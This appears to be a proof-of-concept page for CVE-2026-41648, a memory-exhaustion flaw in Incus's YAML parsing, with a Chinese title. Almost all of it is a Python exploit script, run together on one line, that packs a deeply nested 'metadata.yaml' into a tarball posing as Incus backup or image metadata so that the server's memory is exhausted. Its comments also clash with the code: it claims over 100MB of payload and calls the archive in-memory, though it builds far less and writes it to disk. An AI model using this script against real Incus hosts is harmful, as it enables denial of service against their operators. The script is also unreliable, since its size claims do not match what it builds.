CVE-2026-41648 Incus YAML解析内存耗尽漏洞

# Proof of Concept for CVE-2026-41648 # This script generates a malicious tarball containing a large YAML file # to test the memory exhaustion vulnerability in Incus. import tarfile import io def generate_malicious_yaml(size_mb=10): # Create a large YAML structure to consume memory # Using a recursive list structure data = [] current = data for _ in range(size_mb * 1000): current.append([]) current = current[0] return str(data) def create_exploit_tarball(filename="exploit.tar"): large_yaml_content = generate_malicious_yaml(100) # 100MB+ YAML content # Create an in-memory tarfile with tarfile.open(filename, "w|gz") as tar: # Add a file simulating an Incus backup or image metadata info = tarfile.TarInfo(name="metadata.yaml") info.size = len(large_yaml_content.encode('utf-8')) tar.addfile(info, io.BytesIO(large_yaml_content.encode('utf-8'))) print(f"Created {filename} with large YAML payload.") if __name__ == "__main__": create_exploit_tarball()